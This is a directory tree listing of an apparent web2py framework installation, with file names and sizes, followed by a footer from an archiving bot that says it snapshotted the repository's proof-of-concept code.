util.cpython-311.pyc │   │   │   │   └── [ 661] util.cpython-37.pyc │   │   │   ├── [1.1K] README.rst │   │   │   ├── [4.0K] _socketio.py │   │   │   ├── [4.0K] tests │   │   │   │   ├── [2.6K] base.py │   │   │   │   ├── [4.0K] data │   │   │   │   │   ├── [111K] load_local_data.txt │   │   │   │   │   └── [ 249] load_local_warn_data.txt │   │   │   │   ├── [ 600] __init__.py │   │   │   │   ├── [ 14K] test_basic.py │   │   │   │   ├── [ 24K] test_connection.py │   │   │   │   ├── [2.1K] test_converters.py │   │   │   │   ├── [3.9K] test_cursor.py │   │   │   │   ├── [4.5K] test_DictCursor.py │   │   │   │   ├── [ 670] test_err.py │   │   │   │   ├── [ 649] test_example.py │   │   │   │   ├── [ 20K] test_issues.py │   │   │   │   ├── [3.5K] test_load_local.py │   │   │   │   ├── [1.8K] test_nextset.py │   │   │   │   ├── [ 720] test_optionfile.py │   │   │   │   ├── [3.8K] test_SSCursor.py │   │   │   │   └── [4.0K] thirdparty │   │   │   │   ├── [ 170] __init__.py │   │   │   │   └── [4.0K] test_MySQLdb │   │   │   │   ├── [10.0K] capabilities.py │   │   │   │   ├── [ 31K] dbapi20.py │   │   │   │   ├── [ 243] __init__.py │   │   │   │   ├── [3.2K] test_MySQLdb_capabilities.py │   │   │   │   ├── [7.6K] test_MySQLdb_dbapi20.py │   │   │   │   └── [3.1K] test_MySQLdb_nonstandard.py │   │   │   ├── [ 360] times.py │   │   │   └── [ 332] util.py │   │   ├── [104K] pypyodbc.py │   │   ├── [4.0K] pyrtf │   │   │   ├── [4.0K] Constants.py │   │   │   ├── [ 32K] Elements.py │   │   │   ├── [ 316] __init__.py │   │   │   ├── [ 14K] PropertySets.py │   │   │   ├── [ 295] README │   │   │   ├── [ 25K] Renderer.py │   │   │   └── [3.2K] Styles.py │   │   ├── [4.0K] pysimplesoap │   │   │   ├── [ 16K] c14n.py │   │   │   ├── [ 42K] client.py │   │   │   ├── [ 27K] helpers.py │   │   │   ├── [ 309] __init__.py │   │   │   ├── [ 998] plugins.py │   │   │   ├── [ 25K] server.py │   │   │   ├── [ 22K] simplexml.py │   │   │   ├── [10.0K] transport.py │   │   │   ├── [ 10K] wsse.py │   │   │   └── [8.1K] xmlsec.py │   │   ├── [4.0K] pyuca │   │   │   ├── [1.6M] allkeys.txt │   │   │   ├── [ 231] __init__.py │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [4.8K] pyuca.py │   │   │   └── [1.6K] README.markmin │   │   ├── [ 11K] redis_cache.py │   │   ├── [ 31K] redis_scheduler.py │   │   ├── [9.8K] redis_session.py │   │   ├── [1.8K] redis_utils.py │   │   ├── [ 16K] rss2.py │   │   ├── [9.3K] shell.py │   │   ├── [ 227] simplejson.py │   │   ├── [5.2K] simplejsonrpc.py │   │   ├── [4.2K] sms_utils.py │   │   ├── [ 31K] spreadsheet.py │   │   ├── [9.3K] stripe.py │   │   ├── [8.1K] taskbar_widget.py │   │   ├── [3.5K] timecollect.py │   │   ├── [ 17K] user_agent_parser.py │   │   ├── [7.9K] webclient.py │   │   └── [8.9K] websocket_messaging.py │   ├── [6.7K] custom_import.py │   ├── [1.3K] dal.py │   ├── [5.5K] debug.py │   ├── [3.1K] decoder.py │   ├── [2.1K] digest.py │   ├── [ 15K] fileutils.py │   ├── [8.8K] form.py │   ├── [ 51K] globals.py │   ├── [ 13K] highlight.py │   ├── [ 90K] html.py │   ├── [6.2K] http.py │   ├── [5.0K] import_all.py │   ├── [3.0K] __init__.py │   ├── [ 39K] languages.py │   ├── [ 30K] main.py │   ├── [ 953] messageboxhandler.py │   ├── [ 16K] newcron.py │   ├── [4.0K] packages │   │   ├── [4.0K] dal │   │   │   ├── [1.3K] appveyor.yml │   │   │   ├── [ 344] AUTHORS │   │   │   ├── [6.4K] CHANGES │   │   │   ├── [4.0K] docs │   │   │   │   ├── [7.9K] conf.py │   │   │   │   ├── [ 833] index.rst │   │   │   │   ├── [6.6K] Makefile │   │   │   │   ├── [2.8K] pydal.adapters.rst │   │   │   │   ├── [ 664] pydal.helpers.rst │   │   │   │   └── [ 29] requirements.txt │   │   │   ├── [1.5K] LICENSE.txt │   │   │   ├── [ 440] Makefile │   │   │   ├── [ 166] MANIFEST.in │   │   │   ├── [4.0K] pydal │   │   │   │   ├── [4.0K] adapters │   │   │   │   │   ├── [ 38K] base.py │   │   │   │   │   ├── [5.6K] couchdb.py │   │   │   │   │   ├── [2.0K] db2.py │   │   │   │   │   ├── [3.1K] firebird.py │   │   │   │   │   ├── [ 18K] google.py │   │   │   │   │   ├── [2.0K] informix.py │   │   │   │   │   ├── [1.8K] ingres.py │   │   │   │   │   ├── [2.3K] __init__.py │   │   │   │   │   ├── [ 37K] mongo.py │   │   │   │   │   ├── [6.0K] mssql.py │   │   │   │   │   ├── [3.3K] mysql.py │   │   │   │   │   ├── [9.0K] oracle.py │   │   │   │   │   ├── [9.1K] postgres.py │   │   │   │   │   ├── [1.4K] sap.py │   │   │   │   │   ├── [4.8K] snowflake.py │   │   │   │   │   ├── [4.3K] sqlite.py │   │   │   │   │   └── [ 799] teradata.py │   │   │   │   ├── [ 38K] base.py │   │   │   │   ├── [5.3K] _compat.py │   │   │   │   ├── [6.3K] connection.py │   │   │   │   ├── [4.0K] contrib │   │   │   │   │   ├── [ 44K] imap_adapter.py │   │   │   │   │   ├── [ 1] __init__.py │   │   │   │   │   ├── [ 78K] ipaddress.py │   │   │   │   │   ├── [ 10K] mockimaplib.py │   │   │   │   │   ├── [4.0K] ordereddict.py │   │   │   │   │   ├── [5.5K] portalocker.py │   │   │   │   │   └── [ 33K] reserved_sql_keywords.py │   │   │   │   ├── [3.5K] default_validators.py │   │   │   │   ├── [4.0K] dialects │   │   │   │   │   ├── [ 23K] base.py │   │   │   │   │   ├── [1.4K] couchdb.py │   │   │   │   │   ├── [3.3K] db2.py │   │   │   │   │   ├── [4.2K] firebird.py │   │   │   │   │   ├── [5.8K] google.py │   │   │   │   │   ├── [3.2K] informix.py │   │   │   │   │   ├── [3.8K] ingres.py │   │   │   │   │   ├── [3.7K] __init__.py │   │   │   │   │   ├── [ 22K] mongo.py │   │   │   │   │   ├── [ 15K] mssql.py │   │   │   │   │   ├── [3.3K] mysql.py │   │   │   │   │   ├── [8.5K] oracle.py │   │   │   │   │   ├── [ 14K] postgre.py │   │   │   │   │   ├── [2.9K] sap.py │   │   │   │   │   ├── [ 12K] snowflake.py │   │   │   │   │   ├── [4.2K] sqlite.py │   │   │   │   │   └── [3.3K] teradata.py │   │   │   │   ├── [3.1K] drivers.py │   │   │   │   ├── [ 347] exceptions.py │   │   │   │   ├── [ 466] _gae.py │   │   │   │   ├── [ 208] _globals.py │   │   │   │   ├── [4.0K] helpers │   │   │   │   │   ├── [ 16K] classes.py │   │   │   │   │   ├── [ 971] gae.py │   │   │   │   │   ├── [ 1] __init__.py │   │   │   │   │   ├── [ 652] _internals.py │   │   │   │   │   ├── [ 14K] methods.py │   │   │   │   │   ├── [1.1K] regex.py │   │   │   │   │   ├── [ 16K] rest.py │   │   │   │   │   └── [1.8K] serializers.py │   │   │   │   ├── [ 179] __init__.py │   │   │   │   ├── [ 396] _load.py │   │   │   │   ├── [ 27K] migrator.py │   │   │   │   ├── [126K] objects.py │   │   │   │   ├── [4.0K] parsers │   │   │   │   │   ├── [4.6K] base.py │   │   │   │   │   ├── [ 360] google.py │   │   │   │   │   ├── [3.3K] __init__.py │   │   │   │   │   ├── [1.6K] mongo.py │   │   │   │   │   ├── [1.6K] oracle.py │   │   │   │   │   ├── [ 815] postgre.py │   │   │   │   │   └── [1.0K] sqlite.py │   │   │   │   ├── [4.0K] representers │   │   │   │   │   ├── [8.6K] base.py │   │   │   │   │   ├── [1.2K] couchdb.py │   │   │   │   │   ├── [ 680] db2.py │   │   │   │   │   ├── [1.4K] google.py │   │   │   │   │   ├── [ 884] informix.py │   │   │   │   │   ├── [8.6K] __init__.py │   │   │   │   │   ├── [1.7K] mongo.py │   │   │   │   │   ├── [ 948] mssql.py │   │   │   │   │   ├── [ 214] mysql.py │   │   │   │   │   ├── [1.3K] oracle.py │   │   │   │   │   ├── [1.6K] postgre.py │   │   │   │   │   └── [ 752] sqlite.py │   │   │   │   ├── [ 22K] restapi.py │   │   │   │   ├── [4.0K] tools │   │   │   │   │   ├── [ 1] __init__.py │   │   │   │   │   └── [1.9K] tags.py │   │   │   │   ├── [1.9K] utils.py │   │   │   │   └── [155K] validators.py │   │   │   ├── [2.0K] README.md │   │   │   ├── [ 60] setup.cfg │   │   │   ├── [2.1K] setup.py │   │   │   ├── [4.0K] tests │   │   │   │   ├── [ 954] _adapt.py │   │   │   │   ├── [7.9K] base.py │   │   │   │   ├── [2.5K] caching.py │   │   │   │   ├── [ 95] _compat.py │   │   │   │   ├── [4.8K] contribs.py │   │   │   │   ├── [ 764] _helpers.py │   │   │   │   ├── [2.2K] indexes.py │   │   │   │   ├── [ 355] __init__.py │   │   │   │   ├── [ 29K] is_url_validators.py │   │   │   │   ├── [ 98K] nosql.py │   │   │   │   ├── [ 14K] restapi.py │   │   │   │   ├── [ 12K] smart_query.py │   │   │   │   ├── [134K] sql.py │   │   │   │   ├── [ 989] tags.py │   │   │   │   ├── [3.5K] validation.py │   │   │   │   └── [ 66K] validators.py │   │   │   └── [1.0K] tox.ini │   │   └── [4.0K] yatl │   │   ├── [1.5K] LICENSE.txt │   │   ├── [ 424] Makefile │   │   ├── [1.6K] README.md │   │   ├── [1.7K] setup.py │   │   ├── [4.0K] tests │   │   │   ├── [ 56] __init__.py │   │   │   ├── [7.1K] test_helpers.py │   │   │   └── [6.1K] test_template.py │   │   ├── [ 190] tox.ini │   │   └── [4.0K] yatl │   │   ├── [ 18K] helpers.py │   │   ├── [ 77] __init__.py │   │   ├── [7.4K] sanitizer.py │   │   └── [ 33K] template.py │   ├── [4.0K] __pycache__ │   │   ├── [ 18K] admin.cpython-311.pyc │   │   ├── [ 11K] admin.cpython-37.pyc │   │   ├── [ 50K] authapi.cpython-311.pyc │   │   ├── [ 27K] authapi.cpython-37.pyc │   │   ├── [ 37K] cache.cpython-311.pyc │   │   ├── [ 24K] cache.cpython-37.pyc │   │   ├── [2.2K] cfs.cpython-311.pyc │   │   ├── [1.5K] cfs.cpython-37.pyc │   │   ├── [ 209] _compat.cpython-311.pyc │   │   ├── [ 179] _compat.cpython-37.pyc │   │   ├── [ 37K] compileapp.cpython-311.pyc │   │   ├── [ 21K] compileapp.cpython-37.pyc │   │   ├── [ 36K] console.cpython-311.pyc │   │   ├── [ 22K] console.cpython-37.pyc │   │   ├── [ 40K] contenttype.cpython-311.pyc │   │   ├── [ 23K] contenttype.cpython-37.pyc │   │   ├── [8.1K] custom_import.cpython-311.pyc │   │   ├── [4.7K] custom_import.cpython-37.pyc │   │   ├── [2.1K] dal.cpython-311.pyc │   │   ├── [1.5K] dal.cpython-37.pyc │   │   ├── [2.7K] decoder.cpython-311.pyc │   │   ├── [1.7K] decoder.cpython-37.pyc │   │   ├── [ 25K] fileutils.cpython-311.pyc │   │   ├── [ 13K] fileutils.cpython-37.pyc │   │   ├── [ 60K] globals.cpython-311.pyc │   │   ├── [ 32K] globals.cpython-37.pyc │   │   ├── [ 17K] highlight.cpython-311.pyc │   │   ├── [9.4K] highlight.cpython-37.pyc │   │   ├── [123K] html.cpython-311.pyc │   │   ├── [ 79K] html.cpython-37.pyc │   │   ├── [9.2K] http.cpython-311.pyc │   │   ├── [5.7K] http.cpython-37.pyc │   │   ├── [3.1K] __init__.cpython-311.pyc │   │   ├── [2.4K] __init__.cpython-37.pyc │   │   ├── [ 54K] languages.cpython-311.pyc │   │   ├── [ 32K] languages.cpython-37.pyc │   │   ├── [ 32K] main.cpython-311.pyc │   │   ├── [ 17K] main.cpython-37.pyc │   │   ├── [2.7K] messageboxhandler.cpython-311.pyc │   │   ├── [1.5K] messageboxhandler.cpython-37.pyc │   │   ├── [ 29K] newcron.cpython-311.pyc │   │   ├── [ 14K] newcron.cpython-37.pyc │   │   ├── [4.1K] recfile.cpython-311.pyc │   │   ├── [1.9K] recfile.cpython-37.pyc │   │   ├── [ 16K] restricted.cpython-311.pyc │   │   ├── [8.3K] restricted.cpython-37.pyc │   │   ├── [ 62K] rewrite.cpython-311.pyc │   │   ├── [ 30K] rewrite.cpython-37.pyc │   │   ├── [ 76K] rocket.cpython-311.pyc │   │   ├── [ 38K] rocket.cpython-37.pyc │   │   ├── [ 14K] serializers.cpython-311.pyc │   │   ├── [7.5K] serializers.cpython-37.pyc │   │   ├── [1.8K] settings.cpython-311.pyc │   │   ├── [1010] settings.cpython-37.pyc │   │   ├── [ 22K] shell.cpython-311.pyc │   │   ├── [ 11K] shell.cpython-37.pyc │   │   ├── [188K] sqlhtml.cpython-311.pyc │   │   ├── [ 95K] sqlhtml.cpython-37.pyc │   │   ├── [ 14K] storage.cpython-311.pyc │   │   ├── [ 10K] storage.cpython-37.pyc │   │   ├── [5.9K] streamer.cpython-311.pyc │   │   ├── [3.0K] streamer.cpython-37.pyc │   │   ├── [ 261] template.cpython-311.pyc │   │   ├── [ 219] template.cpython-37.pyc │   │   ├── [313K] tools.cpython-311.pyc │   │   ├── [168K] tools.cpython-37.pyc │   │   ├── [ 22K] utils.cpython-311.pyc │   │   ├── [ 12K] utils.cpython-37.pyc │   │   ├── [ 400] validators.cpython-311.pyc │   │   ├── [ 324] validators.cpython-37.pyc │   │   ├── [ 47K] widget.cpython-311.pyc │   │   └── [ 22K] widget.cpython-37.pyc │   ├── [2.0K] recfile.py │   ├── [ 11K] restricted.py │   ├── [ 54K] rewrite.py │   ├── [ 58K] rocket.py │   ├── [1.9K] rocket.py.footer │   ├── [ 36] sanitizer.py │   ├── [ 68K] scheduler.py │   ├── [8.0K] serializers.py │   ├── [1.3K] settings.py │   ├── [ 15K] shell.py │   ├── [155K] sqlhtml.py │   ├── [ 761] sql.py │   ├── [8.7K] storage.py │   ├── [4.6K] streamer.py │   ├── [ 49] template.py │   ├── [4.0K] tests │   │   ├── [ 694] coverage.ini │   │   ├── [ 884] fix_path.py │   │   ├── [ 731] __init__.py │   │   ├── [7.1K] test_appadmin.py │   │   ├── [7.5K] test_authapi.py │   │   ├── [5.3K] test_cache.py │   │   ├── [2.6K] test_compileapp.py │   │   ├── [1.1K] test_contenttype.py │   │   ├── [2.0K] test_contribs.py │   │   ├── [2.6K] test_cron.py │   │   ├── [3.0K] test_dal.py │   │   ├── [1.1K] test_fileutils.py │   │   ├── [ 11K] test_globals.py │   │   ├── [ 40K] test_html.py │   │   ├── [1.0K] test_http.py │   │   ├── [ 14K] test_languages.py │   │   ├── [ 578] test_old_doctests.py │   │   ├── [2.5K] test_recfile.py │   │   ├── [2.9K] test_redis.py │   │   ├── [ 279] test_rocket.py │   │   ├── [ 76K] test_router.py │   │   ├── [ 19K] test_routes.py │   │   ├── [ 33K] test_scheduler.py │   │   ├── [2.4K] test_serializers.py │   │   ├── [ 11K] test_sqlhtml.py │   │   ├── [4.3K] test_storage.py │   │   ├── [ 68K] test_tools.py │   │   ├── [7.6K] test_utils.py │   │   └── [5.4K] test_web.py │   ├── [264K] tools.py │   ├── [ 29K] utf8.py │   ├── [ 14K] utils.py │   ├── [ 132] validators.py │   ├── [ 32K] widget.py │   └── [ 849] xmlrpc.py ├── [4.0K] handlers │   ├── [1.6K] cgihandler.py │   ├── [1.6K] fcgihandler.py │   ├── [3.3K] gaehandler.py │   ├── [1.4K] isapiwsgihandler.py │   ├── [6.1K] modpythonhandler.py │   ├── [ 164] README │   ├── [2.2K] scgihandler.py │   ├── [3.6K] web2py_on_gevent.py │   └── [ 980] wsgihandler.py ├── [ 24K] httpserver.log ├── [ 5] httpserver.pid ├── [5.6K] LICENSE ├── [3.9K] logging.conf ├── [9.0K] Makefile ├── [ 24] MANIFEST.in ├── [ 14] parameters_8000.py ├── [3.8K] README.markdown ├── [4.0K] scripts │   ├── [2.1K] access.wsgi │   ├── [4.9K] autoroutes.py │   ├── [1.3K] check_lang_progress.py │   ├── [4.3K] contentparser.py │   ├── [ 24K] cpdb.py │   ├── [ 855] cpplugin.py │   ├── [3.7K] dict_diff.py │   ├── [ 293] drop-pgsql-tables.sh │   ├── [ 13K] extract_mssql_models.py │   ├── [4.7K] extract_mysql_models.py │   ├── [ 10K] extract_oracle_models.py │   ├── [ 10K] extract_pgsql_models.py │   ├── [4.4K] extract_sqlite_models.py │   ├── [ 646] fixws.py │   ├── [3.4K] import_static.py │   ├── [1.5K] lang_update_from_langfile.py │   ├── [2.5K] make_min_web2py.py │   ├── [1.3K] migrator.py │   ├── [4.5K] nginx_scgi.conf │   ├── [1020] parse_top_level_domains.py │   ├── [ 811] rmorphans.py │   ├── [8.3K] sessions2trash.py │   ├── [1.1K] setup-scheduler-centos.sh │   ├── [6.7K] setup-web2py-centos7.sh │   ├── [ 329] setup-web2py-cloudfoundry.sh │   ├── [4.4K] setup-web2py-debian-sid.sh │   ├── [9.7K] setup-web2py-fedora-ami.sh │   ├── [9.8K] setup-web2py-fedora.sh │   ├── [ 433] setup-web2py-heroku.sh │   ├── [5.9K] setup-web2py-nginx-uwsgi-centos64.sh │   ├── [6.5K] setup-web2py-nginx-uwsgi-centos7.sh │   ├── [7.6K] setup-web2py-nginx-uwsgi-centos8.sh │   ├── [8.9K] setup-web2py-nginx-uwsgi-on-centos.sh │   ├── [6.1K] setup-web2py-nginx-uwsgi-opensuse.sh │   ├── [6.7K] setup-web2py-nginx-uwsgi-ubuntu-focal.sh │   ├── [7.4K] setup-web2py-nginx-uwsgi-ubuntu.sh │   ├── [4.5K] setup-web2py-ubuntu-focal.sh │   ├── [4.6K] setup-web2py-ubuntu.sh │   ├── [5.8K] setup-web2py-ws2012r2.ps1 │   ├── [1.7K] standalone_exe_cxfreeze.py │   ├── [2.0K] sync_languages.py │   ├── [1.4K] tickets2db.py │   ├── [1.1K] tickets2email.py │   ├── [2.3K] tickets2slack.py │   ├── [2.6K] update_languages.py │   ├── [1.3K] update-web2py.sh │   ├── [1.0K] web2py.archlinux.sh │   ├── [1.8K] web2py.fedora.sh │   ├── [ 417] web2py-lock.sh │   ├── [ 575] web2py-scheduler.conf │   ├── [6.2K] web2py.ubuntu.sh │   └── [1.5K] zip_static_files.py ├── [ 90] SECURITY.md ├── [4.1K] setupbase.py ├── [3.9K] setup.py ├── [4.0K] site-packages │   └── [ 1] __init__.py ├── [ 337] tox.ini ├── [ 52] VERSION ├── [1.5K] web2py.py └── [386K] welcome.w2p 253 directories, 1594 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.